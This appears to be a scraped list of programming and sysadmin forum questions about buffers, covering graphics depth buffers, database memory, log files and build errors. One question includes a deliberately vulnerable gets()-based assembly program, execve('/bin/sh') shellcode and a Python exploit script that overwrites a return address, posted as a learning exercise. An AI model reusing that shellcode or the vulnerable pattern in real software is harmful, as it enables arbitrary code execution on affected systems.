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  • OpenGL : sluggish performance in extracting texture from GPU

    - by Cyan
    I'm currently working on an algorithm which creates a texture within a render buffer. The operations are pretty complex, but for the GPU this is a simple task, done very quickly. The problem is that, after creating the texture, i would like to save it. This requires to extract it from GPU memory. For this operation, i'm using glGetTexImage(). It works, but the performance is sluggish. No, i mean even slower than that. For example, an 8MB texture (uncompressed) requires 3 seconds (yes, seconds) to be extracted. That's mind puzzling. I'm almost wondering if my graphic card is connected by a serial link... Well, anyway, i've looked around, and found some people complaining about the same, but no working solution so far. The most promising advise was to "extract data in the native format of the GPU". Which i've tried and tried, but failed so far. Edit : by moving the call to glGetTexImage() in a different place, the speed has been a bit improved for the most dramatic samples : looking again at the 8MB texture, it knows requires 500ms, instead of 3sec. It's better, but still much too slow. Smaller texture sizes were not affected by the change (typical timing remained into the 60-80ms range). Using glFinish() didn't help either. Note that, if i call glFinish() (without glGetTexImage), i'm getting a fixed 16ms result, whatever the texture size or complexity. It really looks like the timing for a frame at 60fps. The timing is measured for the full rendering + saving sequence. The call to glGetTexImage() alone does not really matter. That being said, it is this call which changes the performance. And yes, of course, as stated at the beginning, the texture is "created into the GPU", hence the need to save it.

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  • Why are my scene's depth values not being written to my DepthStencilView?

    - by dotminic
    I'm rendering to a depth map in order to use it as a shader resource view, but when I sample the depth map in my shader, the red component has a value of 1 while all other channels have a value of 0. The Texture2D I use to create the DepthStencilView is bound with the D3D11_BIND_DEPTH_STENCIL | D3D11_BIND_SHADER_RESOURCE flags, the DepthStencilView has the DXGI_FORMAT_D32_FLOAT format, and the ShaderResourceView's format is D3D11_SRV_DIMENSION_TEXTURE2D. I'm setting the depth map render target, then i'm drawing my scene, and once that is done, I'm the back buffer render target and depth stencil are set on the output merger, and I'm using the depth map shader resource view as a texture in my shader, but the depth value in the red channel is constantly 1. I'm not getting any runtime errors from D3D, and no compile time warning or anything. I'm not sure what I'm missing here at all. I have the impression the depth value is always being set to 1. I have not set any depth/stencil states, and AFAICT depth writing is enabled by default. The geometry is being rendered correctly so I'm pretty sure depth writing is enabled. The device is created with the appropriate debug flags; #if defined(DEBUG) || defined(_DEBUG) deviceFlags |= D3D11_CREATE_DEVICE_DEBUG | D3D11_RLDO_DETAIL; #endif This is how I create my depth map. I've omitted error checking for the sake of brevity D3D11_TEXTURE2D_DESC td; td.Width = width; td.Height = height; td.MipLevels = 1; td.ArraySize = 1; td.Format = DXGI_FORMAT_R32_TYPELESS; td.SampleDesc.Count = 1; td.SampleDesc.Quality = 0; td.Usage = D3D11_USAGE_DEFAULT; td.BindFlags = D3D11_BIND_DEPTH_STENCIL | D3D11_BIND_SHADER_RESOURCE; td.CPUAccessFlags = 0; td.MiscFlags = 0; _device->CreateTexture2D(&texDesc, 0, &this->_depthMap); D3D11_DEPTH_STENCIL_VIEW_DESC dsvd; ZeroMemory(&dsvd, sizeof(dsvd)); dsvd.Format = DXGI_FORMAT_D32_FLOAT; dsvd.ViewDimension = D3D11_DSV_DIMENSION_TEXTURE2D; dsvd.Texture2D.MipSlice = 0; _device->CreateDepthStencilView(this->_depthMap, &dsvd, &this->_dmapDSV); D3D11_SHADER_RESOURCE_VIEW_DESC srvd; srvd.Format = DXGI_FORMAT_R32_FLOAT; srvd.ViewDimension = D3D11_SRV_DIMENSION_TEXTURE2D; srvd.Texture2D.MipLevels = texDesc.MipLevels; srvd.Texture2D.MostDetailedMip = 0; _device->CreateShaderResourceView(this->_depthMap, &srvd, &this->_dmapSRV);

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  • Why distant objects draw in front of close objects?

    - by cad
    I am rendering two cubes in the space using XNA 4.0 and the layering of objects only works from certain angles. Here is what I see from the front angle (everything ok) Here is what I see from behind This is my draw method. Cubes are drawn by serverManager and serverManager1 protected override void Draw(GameTime gameTime) { GraphicsDevice.Clear(Color.CornflowerBlue); switch (_gameStateFSM.State) { case GameFSMState.GameStateFSM.INTROSCREEN: spriteBatch.Begin(); introscreen.Draw(spriteBatch); spriteBatch.End(); break; case GameFSMState.GameStateFSM.GAME: spriteBatch.Begin(SpriteSortMode.Deferred, BlendState.AlphaBlend); // Text screenMessagesManager.Draw(spriteBatch, firstPersonCamera.cameraPosition, fpsHelper.framesPerSecond); // Camera firstPersonCamera.Draw(); // Servers serverManager.Draw(GraphicsDevice, firstPersonCamera.viewMatrix, firstPersonCamera.projMatrix); serverManager1.Draw(GraphicsDevice, firstPersonCamera.viewMatrix, firstPersonCamera.projMatrix); // Room //roomManager.Draw(GraphicsDevice, firstPersonCamera.viewMatrix); spriteBatch.End(); break; case GameFSMState.GameStateFSM.EXITGAME: break; default: break; } base.Draw(gameTime); fpsHelper.IncrementFrameCounter(); } serverManager and serverManager1 are instances of the same class ServerManager that draws a cube. The draw method for ServerManager is: public void Draw(GraphicsDevice graphicsDevice, Matrix viewMatrix, Matrix projectionMatrix) { cubeEffect.World = Matrix.CreateTranslation(modelPosition); // Set the World matrix which defines the position of the cube cubeEffect.View = viewMatrix; // Set the View matrix which defines the camera and what it's looking at cubeEffect.Projection = projectionMatrix; // Enable textures on the Cube Effect. this is necessary to texture the model cubeEffect.TextureEnabled = true; cubeEffect.Texture = cubeTexture; // Enable some pretty lights cubeEffect.EnableDefaultLighting(); // apply the effect and render the cube foreach (EffectPass pass in cubeEffect.CurrentTechnique.Passes) { pass.Apply(); cubeToDraw.RenderToDevice(graphicsDevice); } } Obviously there is something I am doing wrong. Any hint of where to look? (Maybe z-buffer or occlusion tests?)

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  • Shellcode for a simple stack overflow doesn't start a shell

    - by henning
    Hi, I played around with buffer overflows on Linux (amd64) and tried exploiting a simple program, but it failed. I disabled the security features (address space layout randomization with sysctl -w kernel.randomize_va_space=0 and nx bit in the bios). It jumps to the stack and executes the shellcode, but it doesn't start a shell. Seems like the execve syscall fails. Any idea what's wrong? Running the shellcode standalone works just fine. Bonus question: Why do I need to set rax to zero before calling printf? (See comment in the code) Vulnerable file buffer.s: .data .fmtsp: .string "Stackpointer %p\n" .fmtjump: .string "Jump to %p\n" .text .global main main: push %rbp mov %rsp, %rbp sub $120, %rsp # calling printf without setting rax # to zero results in a segfault. why? xor %rax, %rax mov %rsp, %rsi mov $.fmtsp, %rdi call printf mov %rsp, %rdi call gets xor %rax, %rax mov $.fmtjump, %rdi mov 8(%rbp), %rsi call printf xor %rax, %rax leave ret shellcode.s .text .global main main: mov $0x68732f6e69622fff, %rbx shr $0x8, %rbx push %rbx mov %rsp, %rdi xor %rsi, %rsi xor %rdx, %rdx xor %rax, %rax add $0x3b, %rax syscall exploit.py shellcode = "\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x48\x83\xc0\x3b\x0f\x05" stackpointer = "\x7f\xff\xff\xff\xe3\x28" output = shellcode output += 'a' * (120 - len(shellcode)) # fill buffer output += 'b' * 8 # override stored base pointer output += ''.join(reversed(stackpointer)) print output Compiled with: $ gcc -o buffer buffer.s $ gcc -o shellcode shellcode.s Started with: $ python exploit.py | ./buffer Stackpointer 0x7fffffffe328 Jump to 0x7fffffffe328

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  • High Sqlservr.exe Memory Usage

    - by user18576
    I have a problem with sqlservr.exe (version 2008). It use a more memory. I checked on windows taskbar manager, sqlservr.exe usage ( Mem usage - 8GB Ram). I dont know how can I fix it.Got the following metrics of the server using Perfmon: SQLServer:Buffer Manager Buffer cache hit ratio 13 SQLServer:Buffer Manager Page lookups/sec 46026128096 SQLServer:Buffer Manager Free pages 129295 SQLServer:Buffer Manager Total pages 997309 SQLServer:Buffer Manager Target pages 1053560 SQLServer:Buffer Manager Database pages 484117 SQLServer:Buffer Manager Reserved pages 0 SQLServer:Buffer Manager Stolen pages 383897 SQLServer:Buffer Manager Lazy writes/sec 384369 SQLServer:Buffer Manager Readahead pages/sec 69315446 SQLServer:Buffer Manager Page reads/sec 71280353 SQLServer:Buffer Manager Page writes/sec 12408371 SQLServer:Buffer Manager Checkpoint pages/sec 7053801 SQLServer:Buffer Manager Page life expectancy 735262 SQLServer:General Statistics Active Temp Tables 161 SQLServer:General Statistics Temp Tables Creation Rate 3131845 SQLServer:General Statistics Logins/sec 2336011 SQLServer:General Statistics Logouts/sec 2335984 SQLServer:General Statistics User Connections 27 SQLServer:General Statistics Transactions 0 SQLServer:Access Methods Full Scans/sec 34422821 SQLServer:Access Methods Range Scans/sec 2027247756 SQLServer:Access Methods Workfiles Created/sec 49771600 SQLServer:Access Methods Worktables Created/sec 28205828 SQLServer:Access Methods Index Searches/sec 4890715219 SQLServer:Access Methods FreeSpace Scans/sec 21178928 SQLServer:Access Methods FreeSpace Page Fetches/sec 21226653 SQLServer:Access Methods Pages Allocated/sec 41483279 SQLServer:Access Methods Extents Allocated/sec 4743504 SQLServer:Access Methods Extent Deallocations/sec 4806606 SQLServer:Access Methods Page Deallocations/sec 41419137 SQLServer:Access Methods Page Splits/sec 23834799 SQLServer:Memory Manager SQL Cache Memory (KB) 29160 SQLServer:Memory Manager Target Server Memory (KB) 8428480 SQLServer:Memory Manager Total Server Memory (KB) 7978472 Some body could help me please.And I really want to know the cause for the above.

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  • Turning a log file into a sort of circular buffer

    - by pachanga
    Folks, is there a *nix solution which would make the log file act as a circular buffer? For example, I'd like log files to store maximum 1Gb of data and discard the older entries once the limit is reached. Is it possible at all? I believe in order to achieve that a log file should be turned into some sort of special device... P.S. I'm aware of misc logrotating tools but this is not what I need. Logrotating requires lots of IO, happens usually once a day while I need a "runtime" solution.

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  • Unable to read data from the transport connection: An existing connection was forcibly closed by the remote host

    - by Paul J. Warner
    I am having an issue with a program where after 6 mins +- 5 secs we get the above exception. Some more info about the exception stacktrace is below. This all happens pretty religiously, 6 mins goes by and bam the following 3 exeptions. We have the application installed in 2 other environments and it is working fine there. I am hoping to find some server settings either IIS 6 or Server 2003 settings that may be causing this issue to occur. I have reviewed some of the similar questions and don't see very many answers. I am hoping that maybe the information I have provided may help a little bit. 208741,Exception,,,,2011-06-21 00:30:14.193,SERVERNAME,2624,1,CLIENTNAME,The underlying connection was closed: An unexpected error occurred on a receive. , at System.Web.Services.Protocols.WebClientProtocol.GetWebResponse(WebRequest request) at System.Web.Services.Protocols.HttpWebClientProtocol.GetWebResponse(WebRequest request) at Microsoft.Web.Services3.WebServicesClientProtocol.GetResponse(WebRequest request, IAsyncResult result) at System.Web.Services.Protocols.SoapHttpClientProtocol.Invoke(String methodName, Object[] parameters) at System.Net.Sockets.NetworkStream.Read(Byte[] buffer, Int32 offset, Int32 size) at System.Net.FixedSizeReader.ReadPacket(Byte[] buffer, Int32 offset, Int32 count) at System.Net.Security._SslStream.StartFrameHeader(Byte[] buffer, Int32 offset, Int32 count, AsyncProtocolRequest asyncRequest) at System.Net.Security._SslStream.StartReading(Byte[] buffer, Int32 offset, Int32 count, AsyncProtocolRequest asyncRequest) at System.Net.Security._SslStream.ProcessRead(Byte[] buffer, Int32 offset, Int32 count, AsyncProtocolRequest asyncRequest) at System.Net.TlsStream.Read(Byte[] buffer, Int32 offset, Int32 size) at System.Net.PooledStream.Read(Byte[] buffer, Int32 offset, Int32 size) at System.Net.Connection.SyncRead(HttpWebRequest request, Boolean userRetrievedStream, Boolean probeRead),2004437127,114,1 208742,Exception,,,,2011-06-21 00:30:14.227,SERVERNAME,2624,1,CLIENTNAME,Unable to read data from the transport connection: An existing connection was forcibly closed by the remote host. , at System.Net.Sockets.NetworkStream.Read(Byte[] buffer, Int32 offset, Int32 size) at System.Net.FixedSizeReader.ReadPacket(Byte[] buffer, Int32 offset, Int32 count) at System.Net.Security._SslStream.StartFrameHeader(Byte[] buffer, Int32 offset, Int32 count, AsyncProtocolRequest asyncRequest) at System.Net.Security._SslStream.StartReading(Byte[] buffer, Int32 offset, Int32 count, AsyncProtocolRequest asyncRequest) at System.Net.Security._SslStream.ProcessRead(Byte[] buffer, Int32 offset, Int32 count, AsyncProtocolRequest asyncRequest) at System.Net.TlsStream.Read(Byte[] buffer, Int32 offset, Int32 size) at System.Net.PooledStream.Read(Byte[] buffer, Int32 offset, Int32 size) at System.Net.Connection.SyncRead(HttpWebRequest request, Boolean userRetrievedStream, Boolean probeRead),2004437127,114,1 208743,Exception,,,,2011-06-21 00:30:14.287,SERVERNAME,2624,1,CLIENTNAME,An existing connection was forcibly closed by the remote host , at System.Net.Sockets.NetworkStream.Read(Byte[] buffer, Int32 offset, Int32 size),-691097507,62,1

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  • Innodb : cannot allocate the memory for the buffer pool

    - by mingyeow
    My innodb keeps crashing. This is the error message below. Does anyone know why this keeps happening? InnoDB: by InnoDB 49201616 bytes. Operating system errno: 12 InnoDB: Check if you should increase the swap file or InnoDB: ulimits of your operating system. InnoDB: On FreeBSD check you have compiled the OS with InnoDB: a big enough maximum process size. InnoDB: Note that in most 32-bit computers the process InnoDB: memory space is limited to 2 GB or 4 GB. InnoDB: We keep retrying the allocation for 60 seconds... 0 processes alive and '/usr/bin/mysqladmin --defaults-file=/etc/mysql/debian.cnf ping' resulted in /usr/bin/mysqladmin: connect to server at 'localhost' failed error: 'Can't connect to local MySQL server through socket '/var/run/mysqld/mysqld.sock' (2)' Check that mysqld is running and that the socket: '/var/run/mysqld/mysqld.sock' exists! InnoDB: Fatal error: cannot allocate the memory for the buffer pool [ERROR] Default storage engine (InnoDB) is not available

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  • Unable to read data from the transport connection: An existing connection was forcibly closed by the remote host.

    - by Paul J. Warner
    I am having an issue with a program where after 6 mins +- 5 secs we get the above exception. Some more info about the exception stacktrace is below. This all happens pretty religiously, 6 mins goes by and bam the following 3 exeptions. We have the application installed in 2 other environments and it is working fine there. I am hoping to find some server settings either IIS 6 or Server 2003 settings that may be causing this issue to occur. I have reviewed some of the similar questions and don't see very many answers. I am hoping that maybe the information I have provided may help a little bit. 208741,Exception,,,,2011-06-21 00:30:14.193,SERVERNAME,2624,1,CLIENTNAME,The underlying connection was closed: An unexpected error occurred on a receive. , at System.Web.Services.Protocols.WebClientProtocol.GetWebResponse(WebRequest request) at System.Web.Services.Protocols.HttpWebClientProtocol.GetWebResponse(WebRequest request) at Microsoft.Web.Services3.WebServicesClientProtocol.GetResponse(WebRequest request, IAsyncResult result) at System.Web.Services.Protocols.SoapHttpClientProtocol.Invoke(String methodName, Object[] parameters) at System.Net.Sockets.NetworkStream.Read(Byte[] buffer, Int32 offset, Int32 size) at System.Net.FixedSizeReader.ReadPacket(Byte[] buffer, Int32 offset, Int32 count) at System.Net.Security._SslStream.StartFrameHeader(Byte[] buffer, Int32 offset, Int32 count, AsyncProtocolRequest asyncRequest) at System.Net.Security._SslStream.StartReading(Byte[] buffer, Int32 offset, Int32 count, AsyncProtocolRequest asyncRequest) at System.Net.Security._SslStream.ProcessRead(Byte[] buffer, Int32 offset, Int32 count, AsyncProtocolRequest asyncRequest) at System.Net.TlsStream.Read(Byte[] buffer, Int32 offset, Int32 size) at System.Net.PooledStream.Read(Byte[] buffer, Int32 offset, Int32 size) at System.Net.Connection.SyncRead(HttpWebRequest request, Boolean userRetrievedStream, Boolean probeRead),2004437127,114,1 208742,Exception,,,,2011-06-21 00:30:14.227,SERVERNAME,2624,1,CLIENTNAME,Unable to read data from the transport connection: An existing connection was forcibly closed by the remote host. , at System.Net.Sockets.NetworkStream.Read(Byte[] buffer, Int32 offset, Int32 size) at System.Net.FixedSizeReader.ReadPacket(Byte[] buffer, Int32 offset, Int32 count) at System.Net.Security._SslStream.StartFrameHeader(Byte[] buffer, Int32 offset, Int32 count, AsyncProtocolRequest asyncRequest) at System.Net.Security._SslStream.StartReading(Byte[] buffer, Int32 offset, Int32 count, AsyncProtocolRequest asyncRequest) at System.Net.Security._SslStream.ProcessRead(Byte[] buffer, Int32 offset, Int32 count, AsyncProtocolRequest asyncRequest) at System.Net.TlsStream.Read(Byte[] buffer, Int32 offset, Int32 size) at System.Net.PooledStream.Read(Byte[] buffer, Int32 offset, Int32 size) at System.Net.Connection.SyncRead(HttpWebRequest request, Boolean userRetrievedStream, Boolean probeRead),2004437127,114,1 208743,Exception,,,,2011-06-21 00:30:14.287,SERVERNAME,2624,1,CLIENTNAME,An existing connection was forcibly closed by the remote host , at System.Net.Sockets.NetworkStream.Read(Byte[] buffer, Int32 offset, Int32 size),-691097507,62,1

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  • Installing vim7.2 on Solaris Sparc 2.6 as non-root

    - by Tobbe
    I'm trying to install vim to $HOME/bin by compiling the sources. ./configure --prefix=$home/bin seems to work, but when running make I get: > make Starting make in the src directory. If there are problems, cd to the src directory and run make there cd src && make first gcc -c -I. -Iproto -DHAVE_CONFIG_H -DFEAT_GUI_GTK -I/usr/include/gtk-2.0 -I/usr/lib/gtk-2.0/include -I/usr/include/atk-1.0 -I/usr/include/pango-1.0 -I/usr/openwin/include -I/usr/sfw/include -I/usr/sfw/include/freetype2 -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/include -g -O2 -I/usr/openwin/include -o objects/buffer.o buffer.c In file included from buffer.c:28: vim.h:41: error: syntax error before ':' token In file included from os_unix.h:29, from vim.h:245, from buffer.c:28: /usr/include/sys/stat.h:251: error: syntax error before "blksize_t" /usr/include/sys/stat.h:255: error: syntax error before '}' token /usr/include/sys/stat.h:309: error: syntax error before "blksize_t" /usr/include/sys/stat.h:310: error: conflicting types for 'st_blocks' /usr/include/sys/stat.h:252: error: previous declaration of 'st_blocks' was here /usr/include/sys/stat.h:313: error: syntax error before '}' token In file included from /opt/local/bin/../lib/gcc/sparc-sun-solaris2.6/3.4.6/include/sys/signal.h:132, from /usr/include/signal.h:26, from os_unix.h:163, from vim.h:245, from buffer.c:28: /usr/include/sys/siginfo.h:259: error: syntax error before "ctid_t" /usr/include/sys/siginfo.h:292: error: syntax error before '}' token /usr/include/sys/siginfo.h:294: error: syntax error before '}' token /usr/include/sys/siginfo.h:390: error: syntax error before "ctid_t" /usr/include/sys/siginfo.h:398: error: conflicting types for '__fault' /usr/include/sys/siginfo.h:267: error: previous declaration of '__fault' was here /usr/include/sys/siginfo.h:404: error: conflicting types for '__file' /usr/include/sys/siginfo.h:273: error: previous declaration of '__file' was here /usr/include/sys/siginfo.h:420: error: conflicting types for '__prof' /usr/include/sys/siginfo.h:287: error: previous declaration of '__prof' was here /usr/include/sys/siginfo.h:424: error: conflicting types for '__rctl' /usr/include/sys/siginfo.h:291: error: previous declaration of '__rctl' was here /usr/include/sys/siginfo.h:426: error: syntax error before '}' token /usr/include/sys/siginfo.h:428: error: syntax error before '}' token /usr/include/sys/siginfo.h:432: error: syntax error before "k_siginfo_t" /usr/include/sys/siginfo.h:437: error: syntax error before '}' token In file included from /usr/include/signal.h:26, from os_unix.h:163, from vim.h:245, from buffer.c:28: /opt/local/bin/../lib/gcc/sparc-sun-solaris2.6/3.4.6/include/sys/signal.h:173: error: syntax error before "siginfo_t" In file included from os_unix.h:163, from vim.h:245, from buffer.c:28: /usr/include/signal.h:111: error: syntax error before "siginfo_t" /usr/include/signal.h:113: error: syntax error before "siginfo_t" buffer.c: In function `buflist_new': buffer.c:1502: error: storage size of 'st' isn't known buffer.c: In function `buflist_findname': buffer.c:1989: error: storage size of 'st' isn't known buffer.c: In function `setfname': buffer.c:2578: error: storage size of 'st' isn't known buffer.c: In function `otherfile_buf': buffer.c:2836: error: storage size of 'st' isn't known buffer.c: In function `buf_setino': buffer.c:2874: error: storage size of 'st' isn't known buffer.c: In function `buf_same_ino': buffer.c:2894: error: dereferencing pointer to incomplete type buffer.c:2895: error: dereferencing pointer to incomplete type *** Error code 1 make: Fatal error: Command failed for target `objects/buffer.o' Current working directory /home/xluntor/vim72/src *** Error code 1 make: Fatal error: Command failed for target `first' How do I fix the make errors? Or is there another way to install vim as non-root? Thanks in advance

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  • Dumping a Linux console scrollback buffer?

    - by Gerald Combs
    We would like to save the output of a program run on a Linux console which spans many lines. Unfortunately it wasn't logged or run under screen, or any other way that lets us easily capture the output. The best method we've been able to come up with so far is: Log into the machine via a separate SSH session In the console session, page to the top of the buffer Repeat: In the SSH session, run "cat /dev/vcs >> screendump.txt" In the console session, page down one screen Dump the final screen in the SSH session Is there a better way? It seems like if the VC memory were contiguous and you knew where it was you could use dd to pull the console text directly out of kernel memory and into a file.

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  • Installing vim7 on Solaris Sparc 2.6 as non-root

    - by Tobbe
    I'm trying to install vim to $HOME/bin by compiling the sources. ./configure --prefix=$home/bin seems to work, but when running make I get: > make Starting make in the src directory. If there are problems, cd to the src directory and run make there cd src && make first gcc -c -I. -Iproto -DHAVE_CONFIG_H -DFEAT_GUI_GTK -I/usr/include/gtk-2.0 -I/usr/lib/gtk-2.0/include -I/usr/include/atk-1.0 -I/usr/include/pango-1.0 -I/usr/openwin/include -I/usr/sfw/include -I/usr/sfw/include/freetype2 -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/include -g -O2 -I/usr/openwin/include -o objects/buffer.o buffer.c In file included from buffer.c:28: vim.h:41: error: syntax error before ':' token In file included from os_unix.h:29, from vim.h:245, from buffer.c:28: /usr/include/sys/stat.h:251: error: syntax error before "blksize_t" /usr/include/sys/stat.h:255: error: syntax error before '}' token /usr/include/sys/stat.h:309: error: syntax error before "blksize_t" /usr/include/sys/stat.h:310: error: conflicting types for 'st_blocks' /usr/include/sys/stat.h:252: error: previous declaration of 'st_blocks' was here /usr/include/sys/stat.h:313: error: syntax error before '}' token In file included from /opt/local/bin/../lib/gcc/sparc-sun-solaris2.6/3.4.6/include/sys/signal.h:132, from /usr/include/signal.h:26, from os_unix.h:163, from vim.h:245, from buffer.c:28: /usr/include/sys/siginfo.h:259: error: syntax error before "ctid_t" /usr/include/sys/siginfo.h:292: error: syntax error before '}' token /usr/include/sys/siginfo.h:294: error: syntax error before '}' token /usr/include/sys/siginfo.h:390: error: syntax error before "ctid_t" /usr/include/sys/siginfo.h:398: error: conflicting types for '__fault' /usr/include/sys/siginfo.h:267: error: previous declaration of '__fault' was here /usr/include/sys/siginfo.h:404: error: conflicting types for '__file' /usr/include/sys/siginfo.h:273: error: previous declaration of '__file' was here /usr/include/sys/siginfo.h:420: error: conflicting types for '__prof' /usr/include/sys/siginfo.h:287: error: previous declaration of '__prof' was here /usr/include/sys/siginfo.h:424: error: conflicting types for '__rctl' /usr/include/sys/siginfo.h:291: error: previous declaration of '__rctl' was here /usr/include/sys/siginfo.h:426: error: syntax error before '}' token /usr/include/sys/siginfo.h:428: error: syntax error before '}' token /usr/include/sys/siginfo.h:432: error: syntax error before "k_siginfo_t" /usr/include/sys/siginfo.h:437: error: syntax error before '}' token In file included from /usr/include/signal.h:26, from os_unix.h:163, from vim.h:245, from buffer.c:28: /opt/local/bin/../lib/gcc/sparc-sun-solaris2.6/3.4.6/include/sys/signal.h:173: error: syntax error before "siginfo_t" In file included from os_unix.h:163, from vim.h:245, from buffer.c:28: /usr/include/signal.h:111: error: syntax error before "siginfo_t" /usr/include/signal.h:113: error: syntax error before "siginfo_t" buffer.c: In function `buflist_new': buffer.c:1502: error: storage size of 'st' isn't known buffer.c: In function `buflist_findname': buffer.c:1989: error: storage size of 'st' isn't known buffer.c: In function `setfname': buffer.c:2578: error: storage size of 'st' isn't known buffer.c: In function `otherfile_buf': buffer.c:2836: error: storage size of 'st' isn't known buffer.c: In function `buf_setino': buffer.c:2874: error: storage size of 'st' isn't known buffer.c: In function `buf_same_ino': buffer.c:2894: error: dereferencing pointer to incomplete type buffer.c:2895: error: dereferencing pointer to incomplete type *** Error code 1 make: Fatal error: Command failed for target `objects/buffer.o' Current working directory /home/xluntor/vim72/src *** Error code 1 make: Fatal error: Command failed for target `first' How do I fix the make errors? Or is there another way to install vim as non-root? Thanks in advance

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  • Notepad++ setting to clear the undo buffer on save

    - by J Jones
    Hello, I've noticed that Notepad++ is clearing the undo buffer when I save a file. This just started happening when I updated the editor to version 5.6.8. (previous version was pretty old... 5.3.? perhaps...) I've seen one reference out there (look at last bullet of answer) that this might be a setting I can change. But for the life of me, I can't find it. Anyone familiar with this?

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  • MySQL maintenance - how to clear the buffer?

    - by Dougal
    We have a server running our web app (PHP / MySQL) which is SLOW. My predecessor says that: "We use to do database maintenance, which use to clear the buffer, cached and unwanted variables." And I wonder what on earth he means with that statement? Does he mean a simple optimize of the tables? Or the query cache? I understand MySQL but don't really know what he is describing. I would appreciate any pointers. Thanks.

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  • ext4 loopback device, Buffer I/O Error on reboot

    - by cvb
    I am trying to mount a loopback device on my ext4 formatted ssd drive. I get these errors when I reboot on Linux kernel 2.6.38.8 Buffer I/O error on device loop1, logical block 0 Here is what I do: dd if=/dev/zero of=/mnt/s/lodev bs=4096 count=250000 mkfs.ext4 /mnt/s/lodev mount -n -o loop,rw /mnt/s/lodev /mnt/test The loopback mount is successful, but on reboot I get errors as mentioned above. Even mouting with 'sync','data=writeback' does not help. I tried to losetup a device, but see the same behavior. I also reformatted the base device and created the loopback device and mounted as above, I still see these errors. I do not see them when I format them as vfat. Appreciate any suggestions on this problem.

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  • Best approach to depth streaming via existing codec

    - by Kevin
    I'm working on a development system (and game) intended for games set mostly in static third-person views. We produce our scenery by CG and photographic techniques. Our background art is rendered off-line by a production-grade renderer. To allow the runtime imagery to properly interact with the background art, I wrote a program to convert from depth output by Mental Ray into a texture, and a pixel shader to draw a quad such that the Z data comes from the texture. This technique is working out very well, but now we've decided that some of the camera angle changes between scenes should be animated. The animation itself is straightforward to produce from our CG models. We intend to encode it to some HD video codec such as H.264. The problem is that in order to maintain our runtime imagery on the screen, the depth buffer will need to be loaded for each video frame. Due to the bandwidth, the video's depth data will need to be compressed efficiently. I've looked into methods for performing temporal compression of depth info and found an interesting research paper here: http://web4.cs.ucl.ac.uk/staff/j.kautz/publications/depth-streaming.pdf The method establishes a mapping between 16-bit depth values and YCbCr values. The mapping is tuned to the properties of existing video codecs in order to maximize precision of the decoded depths after the YCbCr has undergone video compression. It allows an existing, unmodified video codec to be used on the backend. I'm looking at how to pull this off with the least possible work. (This design change was unplanned.) Our game engine itself is native C++, presently for Win32 and DirectX, although we've worked hard to keep platform dependence segregated because we intend other ports. We don't have motion video facilities in the engine yet but will ultimately need that anyway for cinematics. I was planning on using some off-the-shelf motion video solution we can plug into our engine, and haven't chosen one yet. This new added requirement makes selecting one harder since, among other things, we'll now need to bypass colourspace conversion on one of the streams, and also will need to be playing two streams simultaneously in lockstep, on top of in some cases audio on one of them (for the cinematics). I'm also wondering if it's possible (or even useful) to do the conversion from YCbCr to depth in a pixel shader, or if it's better to just do it in CPU and separately load the resulting depth values into a locked tex. The conversion unfortunately does involve branching logic per-pixel. (There are more naive mappings that don't need branching, but they produce inferior results.) It could be reduced to a table lookup but the table would be 32MB. Programming is second-nature to me but I'm not that experienced with pix shaders and have zero knowledge of off-the-shelf video solutions. I'd therefore be interested in advice from others who may have dealt more with depth streaming, pixel shaders, and/or off-the-shelf codecs, regarding how feasible the proposed application is and what off-the-shelf video systems out there would best get along with this usage case.

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  • performing simple buffer overflow on Mac os 10.6

    - by REALFREE
    I'm trying to learn about stack base overflow and write a simple code to exploit stack. But somehow it doesn't work at all but showing only Abort trap on my machine (mac os leopard) I guess Mac os treats overflow differently, it won't allow me to overwrite memory through c code. for example, strcpy(buffer, input) // lets say char buffer[6] but input is 7 bytes on Linux machine, this code successfully overwrite next stack, but prevented on mac os (Abort trap) Anyone know how to perform a simple stack-base overflow on mac machine?

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  • Redirecting exec output to a buffer or file

    - by devin
    I'm writing a C program where I fork(), exec(), and wait(). I'd like to take the output of the program I exec'ed to write it to file or buffer. For example, if I exec ls I want to write file1 file2 etc to buffer/file. I don't think there is a way to read stdout, so does that mean I have to use a pipe? Is there a general procedure here that I haven't been able to find?

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  • understanding z buffer formates direct x

    - by numerical25
    A z buffer is just a 3d array that shows what object should be written in front of another object. each element in the array represents a pixel that holds a value from 0.0 to 1.0. My question is if that is all a z buffer does, then why are some buffers 24bit, 32bit, and 16 bit ??

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  • MFC: Reading entire file to buffer...

    - by deostroll
    I've meddled with some code but I am unable to read the entire file properly...a lot of junk gets appended to the output. How do I fix this? // wmfParser.cpp : Defines the entry point for the console application. // #include "stdafx.h" #include "wmfParser.h" #include <cstring> #ifdef _DEBUG #define new DEBUG_NEW #endif // The one and only application object CWinApp theApp; using namespace std; int _tmain(int argc, TCHAR* argv[], TCHAR* envp[]) { int nRetCode = 0; // initialize MFC and print and error on failure if (!AfxWinInit(::GetModuleHandle(NULL), NULL, ::GetCommandLine(), 0)) { // TODO: change error code to suit your needs _tprintf(_T("Fatal Error: MFC initialization failed\n")); nRetCode = 1; } else { // TODO: code your application's behavior here. CFile file; CFileException exp; if( !file.Open( _T("c:\\sample.txt"), CFile::modeRead, &exp ) ){ exp.ReportError(); cout<<'\n'; cout<<"Aborting..."; system("pause"); return 0; } ULONGLONG dwLength = file.GetLength(); cout<<"Length of file to read = " << dwLength << '\n'; /* BYTE* buffer; buffer=(BYTE*)calloc(dwLength, sizeof(BYTE)); file.Read(buffer, 25); char* str = (char*)buffer; cout<<"length of string : " << strlen(str) << '\n'; cout<<"string from file: " << str << '\n'; */ char str[100]; file.Read(str, sizeof(str)); cout << "Data : " << str <<'\n'; file.Close(); cout<<"File was closed\n"; //AfxMessageBox(_T("This is a test message box")); system("pause"); } return nRetCode; }

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  • Win32 C/C++ Load Image from memory buffer

    - by Bruno
    I want to load a image (.bmp) file on a Win32 application, but I do not want to use the standard LoadBitmap/LoadImage from Windows API: I want it to load from a buffer that is already in memory. I can easily load a bitmap directly from file and print it on the screen, but this issue is making me stuck :( What I'm looking for is a function that works like this: HBITMAP LoadBitmapFromBuffer(char* buffer, int width, int height); Thanks.

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  • How to copy depth buffer to CPU memory in DirectX?

    - by Ashwin
